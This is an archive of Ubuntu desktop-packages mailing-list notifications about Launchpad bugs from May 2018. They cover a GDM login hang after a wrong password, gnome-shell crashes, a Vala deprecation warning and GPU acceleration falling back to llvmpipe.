Status in gdm3 package in Ubuntu:
  Fix Released
Status in gnome-shell package in Ubuntu:
  Invalid
Status in gdm3 source package in Bionic:
  Fix Committed
Status in gnome-shell source package in Bionic:
  Invalid

Bug description:
  [ Description ]

  Due to a refcounting bug, a GDBusConnection was getting disposed when
  it was still required. The symptom of this was that you couldn't log
  in if you'd got your password wrong.

  [ Test case ]

  1. Boot to GDM
  2. Click your username
  3. Type the wrong password a couple of times, pressing enter after each time
  4. Type the right password

  If the bug is happening, after 4. the system hangs at a blank screen
  with the mouse cursor. If you then switch to a VT or otherwise connect
  to the machine, you can examine the journal and you'll see a
  G_IS_DBUS_CONNECTION failure.

  [ Fix ]

  Marco and I worked upstream on this fix. We found out that there was a
  problem like this-

  The GdmClient has a shared GDBusConnection for its operations. The
  first time  someone calls for it, it is created and stored in the
  object's private structure. Subsequent calls return *a new reference*
  to this same object. It turned out that the asynchronous method to get
  the connection was accidentally unreferencing its object before giving
  it to the caller if it was returning an already-existing connection.

  For this to work properly, we need to nullify the pointer we stored
  when the connection goes away, so we know when to make a new one.
  There were some cases where we didn't add the weak references required
  to do that. Those are also fixed.

  [ Regression potential ]

  Now we share connections more than we did before. We also more
  carefully track when to clear our object. If we got this wrong, we
  might end up leaking the connection or dropping it in even more cases.

  [ Original report ]

  
  WORKAROUND: After typing an incorrect password, click Cancel, then click your 
name, then enter your password again.

  ---

  Trying to log into my session (Gnome, Xorg), if I enter the wrong
  password before entering it correctly, the session doesn't load and I
  get a purple screen, a mouse cursor, and an invisible but clickable
  menu in the top right. If I enter it correctly the first time, there
  is no problem.

  I've replicated this from a fresh boot, after logging out and after
  'sudo service gdm restart' from the Ctrl-Alt-F4 console.

  This is a fresh install, and didn't occur when I was using a previous
  install of 18.04 (until Friday).

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: gdm3 3.28.0-0ubuntu1
  ProcVersionSignature: Ubuntu 4.15.0-15.16-generic 4.15.15
  Uname: Linux 4.15.0-15-generic x86_64
  ApportVersion: 2.20.9-0ubuntu6
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Apr 22 20:31:13 2018
  InstallationDate: Installed on 2018-04-22 (0 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180421.1)
  SourcePackage: gdm3
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/gdm/+bug/1766137/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772338] [NEW] Deprecation warning compiling against unity.vapi

2018-05-20 Thread Michael Gratton

Public bug reported:

Vala 0.31.1 deprecated the "Deprecated" code attribute, replacing it
with "Version". The copy of unity.vapi shipped by libunity-dev in bionic
still uses the Deprecated attribute, however.

I.e. in unity.vapi:

[Deprecated (replacement = "AppInfoManager.get_default")]
public static Unity.AppInfoManager get_instance ();

Should instead be:

[Version (deprecated = true, replacement = "AppInfoManager.get_default")]
public static Unity.AppInfoManager get_instance ();

This causes a deprecation warning when compiling against it, regardless
of whether any deprecated calls are actually being made by the code
being compiled. While a minor issue, it would be good to have fixed
since it makes it impossible to develop against it with fatal warnings
enabled, which is bad for QA.

The Unity build seems to generate that file as per usual (as a valac
build artefact) so I would assume this should be fixed by a simple
rebuild using vala >= 0.31.1, but surely the version of libunity-dev
that shipped with bionic would have been rebuild against valac that
ships with bionic (0.40)? So I'm not sure why Deprecated is still
present in the vapi.

ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: libunity-dev 7.1.4+18.04.20180209.1-0ubuntu2
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: GNOME
Date: Mon May 21 10:45:08 2018
InstallationDate: Installed on 2015-07-22 (1033 days ago)
InstallationMedia: Ubuntu-GNOME 15.04 "Vivid Vervet" - Release amd64 (20150422)
SourcePackage: libunity
UpgradeStatus: No upgrade log present (probably fresh install)

** Affects: libunity (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug bionic wayland-session

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to libunity in Ubuntu.
Matching subscriptions: dp-libunity
https://bugs.launchpad.net/bugs/1772338

Title:
  Deprecation warning compiling against unity.vapi

Status in libunity package in Ubuntu:
  New

Bug description:
  Vala 0.31.1 deprecated the "Deprecated" code attribute, replacing it
  with "Version". The copy of unity.vapi shipped by libunity-dev in
  bionic still uses the Deprecated attribute, however.

  I.e. in unity.vapi:

  [Deprecated (replacement = "AppInfoManager.get_default")]
  public static Unity.AppInfoManager get_instance ();

  Should instead be:

  [Version (deprecated = true, replacement = "AppInfoManager.get_default")]
  public static Unity.AppInfoManager get_instance ();

  This causes a deprecation warning when compiling against it,
  regardless of whether any deprecated calls are actually being made by
  the code being compiled. While a minor issue, it would be good to have
  fixed since it makes it impossible to develop against it with fatal
  warnings enabled, which is bad for QA.

  The Unity build seems to generate that file as per usual (as a valac
  build artefact) so I would assume this should be fixed by a simple
  rebuild using vala >= 0.31.1, but surely the version of libunity-dev
  that shipped with bionic would have been rebuild against valac that
  ships with bionic (0.40)? So I'm not sure why Deprecated is still
  present in the vapi.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: libunity-dev 7.1.4+18.04.20180209.1-0ubuntu2
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Mon May 21 10:45:08 2018
  InstallationDate: Installed on 2015-07-22 (1033 days ago)
  InstallationMedia: Ubuntu-GNOME 15.04 "Vivid Vervet" - Release amd64 
(20150422)
  SourcePackage: libunity
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libunity/+bug/1772338/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1587154] Re: --working-directory does not work anymore

2018-05-20 Thread WinEunuchs2Unix

This bug has been fixed for Ubuntu 16.04.3 LTS running under Kernel
4.14.34-generic:

$ gnome-terminal --working-directory=/tmp

Opens a new terminal window with `/tmp` the current directory as expect.

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-terminal in Ubuntu.
https://bugs.launchpad.net/bugs/1587154

Title:
  --working-directory does not work anymore

Status in gnome-terminal package in Ubuntu:
  Confirmed

Bug description:
  
  After upgrading from ubuntu 14.04 to 16.04 one of my script the uses 
--working-directory option stopped working.

  Simply running:

  gnome-terminal --working-directory=/tmp

  Starts the terminal in my home directory. Changing the command to
  gnome-terminal.real does not solve my problem either.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-terminal/+bug/1587154/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1754872] Re: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Sett

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: xubuntu-meta (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-control-center in Ubuntu.
https://bugs.launchpad.net/bugs/1754872

Title:
  gnome-control-center is unusable on xubuntu-desktop, but called from
  Gear (About this Computer, System Settings) icon, Text Entry Settings,
  clock (Time & Date Settings)

Status in gnome-control-center package in Ubuntu:
  Confirmed
Status in indicator-datetime package in Ubuntu:
  Confirmed
Status in xubuntu-meta package in Ubuntu:
  Confirmed

Bug description:
  Steps to reproduce:
  1. Install `xubuntu-desktop` meta package on 18.04 LTS
  2. Login to session
  3a. Click on clock indicator on panel, select "Time & Date Settings"
  3b. Click on Gear, select "About this Computer" or "System Settings"
  3c. Click on keyboard layout indicator, select "Text Entry Settings"

  Expected results:
  xfce-oriented control center is opened

  Actual results:
  gnome-control-center is opened, but with empty window.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xubuntu-desktop 2.223
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Sat Mar 10 21:10:11 2018
  SourcePackage: xubuntu-meta
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1754872/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1754872] Re: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Sett

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: gnome-control-center (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-control-center in Ubuntu.
https://bugs.launchpad.net/bugs/1754872

Title:
  gnome-control-center is unusable on xubuntu-desktop, but called from
  Gear (About this Computer, System Settings) icon, Text Entry Settings,
  clock (Time & Date Settings)

Status in gnome-control-center package in Ubuntu:
  Confirmed
Status in indicator-datetime package in Ubuntu:
  Confirmed
Status in xubuntu-meta package in Ubuntu:
  Confirmed

Bug description:
  Steps to reproduce:
  1. Install `xubuntu-desktop` meta package on 18.04 LTS
  2. Login to session
  3a. Click on clock indicator on panel, select "Time & Date Settings"
  3b. Click on Gear, select "About this Computer" or "System Settings"
  3c. Click on keyboard layout indicator, select "Text Entry Settings"

  Expected results:
  xfce-oriented control center is opened

  Actual results:
  gnome-control-center is opened, but with empty window.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xubuntu-desktop 2.223
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Sat Mar 10 21:10:11 2018
  SourcePackage: xubuntu-meta
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1754872/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1754872] Re: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Sett

2018-05-20 Thread Daniel Voyce

Same problem here - I installed from early beta and used the same method
of installing visa tasksel!

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-control-center in Ubuntu.
https://bugs.launchpad.net/bugs/1754872

Title:
  gnome-control-center is unusable on xubuntu-desktop, but called from
  Gear (About this Computer, System Settings) icon, Text Entry Settings,
  clock (Time & Date Settings)

Status in gnome-control-center package in Ubuntu:
  Confirmed
Status in indicator-datetime package in Ubuntu:
  Confirmed
Status in xubuntu-meta package in Ubuntu:
  Confirmed

Bug description:
  Steps to reproduce:
  1. Install `xubuntu-desktop` meta package on 18.04 LTS
  2. Login to session
  3a. Click on clock indicator on panel, select "Time & Date Settings"
  3b. Click on Gear, select "About this Computer" or "System Settings"
  3c. Click on keyboard layout indicator, select "Text Entry Settings"

  Expected results:
  xfce-oriented control center is opened

  Actual results:
  gnome-control-center is opened, but with empty window.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xubuntu-desktop 2.223
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Sat Mar 10 21:10:11 2018
  SourcePackage: xubuntu-meta
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1754872/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1754872] Re: gnome-control-center is unusable on xubuntu-desktop, but called from Gear (About this Computer, System Settings) icon, Text Entry Settings, clock (Time & Date Sett

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: indicator-datetime (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-control-center in Ubuntu.
https://bugs.launchpad.net/bugs/1754872

Title:
  gnome-control-center is unusable on xubuntu-desktop, but called from
  Gear (About this Computer, System Settings) icon, Text Entry Settings,
  clock (Time & Date Settings)

Status in gnome-control-center package in Ubuntu:
  Confirmed
Status in indicator-datetime package in Ubuntu:
  Confirmed
Status in xubuntu-meta package in Ubuntu:
  Confirmed

Bug description:
  Steps to reproduce:
  1. Install `xubuntu-desktop` meta package on 18.04 LTS
  2. Login to session
  3a. Click on clock indicator on panel, select "Time & Date Settings"
  3b. Click on Gear, select "About this Computer" or "System Settings"
  3c. Click on keyboard layout indicator, select "Text Entry Settings"

  Expected results:
  xfce-oriented control center is opened

  Actual results:
  gnome-control-center is opened, but with empty window.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xubuntu-desktop 2.223
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CurrentDesktop: XFCE
  Date: Sat Mar 10 21:10:11 2018
  SourcePackage: xubuntu-meta
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1754872/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1754949] Re: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame()

2018-05-20 Thread Apport retracing service

** Tags added: cosmic

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1754949

Title:
  gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode()
  from meta_renderer_native_finish_frame()

Status in gnome-shell package in Ubuntu:
  In Progress
Status in linux package in Ubuntu:
  Triaged

Bug description:
  https://gitlab.gnome.org/GNOME/mutter/issues/70
  https://errors.ubuntu.com/problem/16426125ad8d92ae4dc9ce9e89450153b0a8b665

  ---

  The crash was reported after booting and logging in to an X.Org
  session.

  $ lsb_release -rd
  Description:  Ubuntu Bionic Beaver (development branch)
  Release:  18.04

  $ apt-cache policy gnome-shell
  gnome-shell:
    Instalovaná verze: 3.27.92-0ubuntu1
    Kandidát:  3.27.92-0ubuntu1
    Tabulka verzí:
   *** 3.27.92-0ubuntu1 500
  500 http://de.archive.ubuntu.com/ubuntu bionic/main amd64 Packages
  100 /var/lib/dpkg/status

  ProblemType: Crash
  DistroRelease: Ubuntu 18.04
  Package: gnome-shell 3.27.92-0ubuntu1
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CurrentDesktop: GNOME-Greeter:GNOME
  Date: Sun Mar 11 11:08:00 2018
  DisplayManager: gdm3
  ExecutablePath: /usr/bin/gnome-shell
  GsettingsChanges:

  InstallationDate: Installed on 2017-12-19 (81 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018)
  ProcCmdline: /usr/bin/gnome-shell
  ProcEnviron:
   LANGUAGE=cs_CZ
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=cs_CZ.UTF-8
   SHELL=/bin/false
  SegvAnalysis:
   Segfault happened at: 0x7f3fee5d2f17 : 
mov0x20(%rax),%rcx
   PC (0x7f3fee5d2f17) ok
   source "0x20(%rax)" (0x0020) not located in a known VMA region (needed 
readable region)!
   destination "%rcx" ok
  SegvReason: reading NULL VMA
  Signal: 11
  SourcePackage: gnome-shell
  StacktraceTop:
   meta_gpu_kms_apply_crtc_mode () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0
   meta_renderer_native_finish_frame () at 
/usr/lib/x86_64-linux-gnu/libmutter-2.so.0
   () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so
   () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so
   () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so
  Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode()
  UpgradeStatus: Upgraded to bionic on 2018-03-05 (5 days ago)
  UserGroups:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1754949/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772330] Re: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode()

2018-05-20 Thread Apport retracing service

*** This bug is a duplicate of bug 1754949 ***
https://bugs.launchpad.net/bugs/1754949

Thank you for taking the time to report this crash and helping to make
this software better.  This particular crash has already been reported
and is a duplicate of bug #1754949, so is being marked as such.  Please
look at the other bug report to see if there is any missing information
that you can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report.  Please continue to report any other bugs you may
find.

** Attachment removed: "CoreDump.gz"
   
https://bugs.launchpad.net/bugs/1772330/+attachment/5142079/+files/CoreDump.gz

** Attachment removed: "Disassembly.txt"
   
https://bugs.launchpad.net/bugs/1772330/+attachment/5142081/+files/Disassembly.txt

** Attachment removed: "ProcMaps.txt"
   
https://bugs.launchpad.net/bugs/1772330/+attachment/5142084/+files/ProcMaps.txt

** Attachment removed: "ProcStatus.txt"
   
https://bugs.launchpad.net/bugs/1772330/+attachment/5142085/+files/ProcStatus.txt

** Attachment removed: "Registers.txt"
   
https://bugs.launchpad.net/bugs/1772330/+attachment/5142086/+files/Registers.txt

** Attachment removed: "Stacktrace.txt"
   
https://bugs.launchpad.net/bugs/1772330/+attachment/5142087/+files/Stacktrace.txt

** Attachment removed: "ThreadStacktrace.txt"
   
https://bugs.launchpad.net/bugs/1772330/+attachment/5142088/+files/ThreadStacktrace.txt

** This bug has been marked a duplicate of bug 1754949
   gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from 
meta_renderer_native_finish_frame()

** Information type changed from Private to Public

** Tags removed: need-amd64-retrace

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1772330

Title:
  gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode()

Status in gnome-shell package in Ubuntu:
  New

Bug description:
  Hello,

  I do not know why this happened.

  Regards,
  --
  Cristian Aravena Romero (caravena)

  ProblemType: Crash
  DistroRelease: Ubuntu 18.10
  Package: gnome-shell 3.28.1-0ubuntu2
  Uname: Linux 4.16.9-041609-generic x86_64
  ApportVersion: 2.20.10-0ubuntu2
  Architecture: amd64
  CurrentDesktop: GNOME-Greeter:GNOME
  Date: Sun May 20 15:49:25 2018
  DisplayManager: gdm3
  ExecutablePath: /usr/bin/gnome-shell
  GsettingsChanges:
   
  InstallationDate: Installed on 2017-10-13 (219 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170926)
  ProcCmdline: /usr/bin/gnome-shell
  ProcEnviron:
   LANGUAGE=es_CL:es
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=es_CL.UTF-8
   SHELL=/bin/false
  SegvAnalysis:
   Segfault happened at: 0x7f22b10e21b7 : 
mov0x20(%rax),%rcx
   PC (0x7f22b10e21b7) ok
   source "0x20(%rax)" (0x0020) not located in a known VMA region (needed 
readable region)!
   destination "%rcx" ok
  SegvReason: reading NULL VMA
  Signal: 11
  SourcePackage: gnome-shell
  StacktraceTop:
   meta_gpu_kms_apply_crtc_mode () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0
   meta_renderer_native_finish_frame () at 
/usr/lib/x86_64-linux-gnu/libmutter-2.so.0
   () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so
   () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so
   () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so
  Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode()
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1772330/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1768610] Re: No acceleration after upgrading to 18.04: gnome-session-check-accelerated incorrectly picks llvmpipe

2018-05-20 Thread Emiliano

I've purged nux-tools but the problem is still there for me.

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-session in Ubuntu.
https://bugs.launchpad.net/bugs/1768610

Title:
  No acceleration after upgrading to 18.04: gnome-session-check-
  accelerated incorrectly picks llvmpipe

Status in gnome-session package in Ubuntu:
  Confirmed

Bug description:
  After an upgrade from 17.10 to 18.04, I noticed that all gnome windows
  animations were gone.  After some digging, it seems that gnome-session
  incorrectly assumes that my graphics has no acceleration, when in fact
  it does: it's a i5-2520M CPU @ 2.50GHz with Intel integrated graphics
  (i915 driver).

  I've tried this with and without the xserver-xorg-video-intel package
  (a.k.a. Intel driver) with the same behavior.

  The output of gnome-session-check-accelerated is: llvmpipe (LLVM 6.0,
  256 bits)  however the system should have DRM 2.0 capability.

  GL checks (e.g. glxinfo, glxgears produce the expected output from a
  working DRM system).

  mesa-utils and mesa-utils-extra are both installed.

  I can't find a work around.  Perhaps there is something wrong with my
  install/upgrade?

  Everything else works fine, although the graphical transitions are no
  longer smooth.  But it would be nice to restore the expected behavior.

  I have attached the log of 'journalctl -b0'

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: gnome-session 3.28.1-0ubuntu2
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Wed May  2 13:06:00 2018
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2016-04-22 (739 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: gnome-session
  UpgradeStatus: Upgraded to bionic on 2018-04-27 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-session/+bug/1768610/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1768610] Re: No acceleration after upgrading to 18.04: gnome-session-check-accelerated incorrectly picks llvmpipe

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: gnome-session (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-session in Ubuntu.
https://bugs.launchpad.net/bugs/1768610

Title:
  No acceleration after upgrading to 18.04: gnome-session-check-
  accelerated incorrectly picks llvmpipe

Status in gnome-session package in Ubuntu:
  Confirmed

Bug description:
  After an upgrade from 17.10 to 18.04, I noticed that all gnome windows
  animations were gone.  After some digging, it seems that gnome-session
  incorrectly assumes that my graphics has no acceleration, when in fact
  it does: it's a i5-2520M CPU @ 2.50GHz with Intel integrated graphics
  (i915 driver).

  I've tried this with and without the xserver-xorg-video-intel package
  (a.k.a. Intel driver) with the same behavior.

  The output of gnome-session-check-accelerated is: llvmpipe (LLVM 6.0,
  256 bits)  however the system should have DRM 2.0 capability.

  GL checks (e.g. glxinfo, glxgears produce the expected output from a
  working DRM system).

  mesa-utils and mesa-utils-extra are both installed.

  I can't find a work around.  Perhaps there is something wrong with my
  install/upgrade?

  Everything else works fine, although the graphical transitions are no
  longer smooth.  But it would be nice to restore the expected behavior.

  I have attached the log of 'journalctl -b0'

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: gnome-session 3.28.1-0ubuntu2
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Wed May  2 13:06:00 2018
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2016-04-22 (739 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: gnome-session
  UpgradeStatus: Upgraded to bionic on 2018-04-27 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-session/+bug/1768610/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1752938] Re: Upgrading Ubuntu 18.04 disables GPU hardware acceleration

2018-05-20 Thread Emiliano

Fix from #1767468 also doers not work for me. Intel HD 520

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1752938

Title:
  Upgrading Ubuntu 18.04 disables GPU hardware acceleration

Status in xorg package in Ubuntu:
  Confirmed

Bug description:
  I don't know which package causes this problem. The thing is ugrading
  Ubuntu 18.04 disables my GPU hardware acceleration.

  glxinfo_before_upgrade 
  OpenGL vendor string: X.Org
  OpenGL renderer string: Radeon RX 560 Series (POLARIS11 / DRM 3.23.0 / 
4.15.0-10-generic, LLVM 5.0.1)
  OpenGL core profile version string: 4.5 (Core Profile) Mesa 17.3.3

  glxinfo_after_upgrade 
  OpenGL vendor string: VMware, Inc.
  OpenGL renderer string: llvmpipe (LLVM 5.0, 256 bits)
  OpenGL core profile version string: 3.3 (Core Profile) Mesa 17.3.3

  This problem is reproducible.

  Steps to reproduce:
  1. Install Ubuntu 18.04 daily live. I've tried Kubuntu 18.04 Feb 26's daily 
live(the installer in Mar 1 crashes which prevents me from installing it) and 
Xubuntu 18.04 Mar 2's daily live. Ubuntu is utilizing my GPU in live cd session 
and after the fresh install Ubuntu is also utilizing my GPU.
  2. Reboot into the newly installed system, do a dist-upgrade and reboot 
again. Opengl renderer falls back to llvmpipe.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xorg 1:7.7+19ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
  CompositorRunning: None
  CurrentDesktop: XFCE
  Date: Sat Mar  3 00:58:35 2018
  DistUpgraded: Fresh install
  DistroCodename: bionic
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes, if not too technical
  GraphicsCard:
   Advanced Micro Devices, Inc. [AMD/ATI] Baffin [Polaris11] [1002:67ff] (rev 
cf) (prog-if 00 [VGA controller])
 Subsystem: ASUSTeK Computer Inc. Baffin [Radeon RX 560] [1043:04be]
  InstallationDate: Installed on 2018-03-02 (0 days ago)
  InstallationMedia: Xubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180302)
  MachineType: Gigabyte Technology Co., Ltd. B85M-D3V-A
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic.efi.signed 
root=UUID=d2dcc7eb-84ca-4102-9ae1-239de26d113c ro quiet splash vt.handoff=1
  Renderer: Software
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 02/12/2015
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: F2
  dmi.board.asset.tag: To be filled by O.E.M.
